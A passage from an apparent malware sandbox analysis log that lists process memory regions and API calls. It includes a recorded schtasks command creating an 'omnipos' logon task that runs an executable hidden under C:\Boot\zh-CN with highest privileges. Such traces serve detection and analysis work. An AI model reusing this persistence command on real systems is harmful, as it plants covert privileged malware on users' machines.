= 5513 start_va = 0x640000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 5514 start_va = 0x640000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 5515 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 5516 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5517 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5636 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5637 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5638 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5639 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5640 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5641 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5642 start_va = 0x780000 end_va = 0x907fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 5643 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5644 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5645 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5646 start_va = 0x910000 end_va = 0xa90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 5647 start_va = 0xf10000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f10000" filename = "" Region: id = 5648 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5649 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5650 start_va = 0xaa0000 end_va = 0xb70fff monitored = 1 entry_point = 0xb6f1ee region_type = mapped_file name = "winscp.exe" filename = "\\Windows\\Prefetch\\ReadyBoot\\winscp.exe" (normalized: "c:\\windows\\prefetch\\readyboot\\winscp.exe") Region: id = 5651 start_va = 0xaa0000 end_va = 0xb70fff monitored = 1 entry_point = 0xb6f1ee region_type = mapped_file name = "winscp.exe" filename = "\\Windows\\Prefetch\\ReadyBoot\\winscp.exe" (normalized: "c:\\windows\\prefetch\\readyboot\\winscp.exe") Region: id = 5652 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5653 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5654 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5655 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5656 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5657 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5791 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5792 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5880 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5881 start_va = 0x7fe91eb0000 end_va = 0x7fe91ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91eb0000" filename = "" Region: id = 5882 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 5883 start_va = 0x7fe91ed0000 end_va = 0x7fe91f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5884 start_va = 0x7fe91f60000 end_va = 0x7fe91fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f60000" filename = "" Region: id = 5885 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 5886 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5887 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 5888 start_va = 0xaa0000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 5889 start_va = 0xc50000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 5890 start_va = 0x2320000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 5891 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6295 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 6296 start_va = 0x2420000 end_va = 0x1a41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 6297 start_va = 0x1a420000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a420000" filename = "" Region: id = 6298 start_va = 0xaa0000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 6299 start_va = 0xbd0000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 6300 start_va = 0x1a890000 end_va = 0x1a98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a890000" filename = "" Region: id = 6301 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6700 start_va = 0x1a990000 end_va = 0x1aa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a990000" filename = "" Region: id = 6701 start_va = 0x1ab80000 end_va = 0x1ac7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ab80000" filename = "" Region: id = 6702 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 228 os_tid = 0x960 Thread: id = 256 os_tid = 0x50c Thread: id = 278 os_tid = 0xd94 Thread: id = 290 os_tid = 0xe60 Process: id = "65" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3cfd8000" os_pid = "0x968" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4850 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4851 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4852 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4853 start_va = 0x160000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4854 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4855 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4856 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4857 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4858 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4859 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4860 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4861 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4862 start_va = 0x1e0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4863 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4864 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4865 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4866 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4867 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4868 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4869 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4870 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4871 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4872 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4873 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4874 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4875 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4876 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4877 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4878 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4879 start_va = 0x450000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4880 start_va = 0x1e0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4881 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 4882 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4883 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4884 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4885 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4886 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4887 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4888 start_va = 0x650000 end_va = 0x7d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 4889 start_va = 0x7e0000 end_va = 0x1bdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 4890 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4891 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4892 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4893 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4894 start_va = 0x1be0000 end_va = 0x1eaefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4895 start_va = 0x1eb0000 end_va = 0x1f2cfff monitored = 0 entry_point = 0x1ebcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4896 start_va = 0x1eb0000 end_va = 0x1f2cfff monitored = 0 entry_point = 0x1ebcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4897 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4898 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4899 start_va = 0x1eb0000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 4900 start_va = 0x1f90000 end_va = 0x206efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f90000" filename = "" Region: id = 4901 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4902 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 4903 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4904 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4905 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4906 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4907 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4908 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4909 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4910 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 212 os_tid = 0x96c [0090.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1dfec0 | out: lpSystemTimeAsFileTime=0x1dfec0*(dwLowDateTime=0x5ee3b300, dwHighDateTime=0x1d9eb0c)) [0090.473] GetCurrentProcessId () returned 0x968 [0090.473] GetCurrentThreadId () returned 0x96c [0090.473] GetTickCount () returned 0x176bfbd [0090.473] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1dfec8 | out: lpPerformanceCount=0x1dfec8*=2489695625314) returned 1 [0090.473] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0090.474] __set_app_type (_Type=0x1) [0090.474] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0090.474] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0090.475] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0090.475] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0090.475] _onexit (_Func=0xff932afc) returned 0xff932afc [0090.475] _onexit (_Func=0xff932b58) returned 0xff932b58 [0090.475] _onexit (_Func=0xff932b80) returned 0xff932b80 [0090.476] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0090.476] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0090.476] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0090.476] _onexit (_Func=0xff932c20) returned 0xff932c20 [0090.476] _onexit (_Func=0xff932c48) returned 0xff932c48 [0090.476] _onexit (_Func=0xff932c70) returned 0xff932c70 [0090.477] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0090.477] WinSqmIsOptedIn () returned 0x0 [0090.477] GetProcessHeap () returned 0x350000 [0090.477] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bab0 [0090.477] SetLastError (dwErrCode=0x0) [0090.478] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0090.478] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0090.478] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0090.478] VerifyVersionInfoW (in: lpVersionInformation=0x1df680, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1df680) returned 1 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bad0 [0090.478] lstrlenW (lpString="") returned 0 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x2) returned 0x36baf0 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x3659f0 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bb10 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365a20 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365a50 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365a80 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365ab0 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bb30 [0090.478] GetProcessHeap () returned 0x350000 [0090.478] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365ae0 [0090.478] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365b10 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365b40 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365b70 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bb50 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365ba0 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365bd0 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365c00 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365c30 [0090.479] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0090.479] SetLastError (dwErrCode=0x0) [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365c60 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap 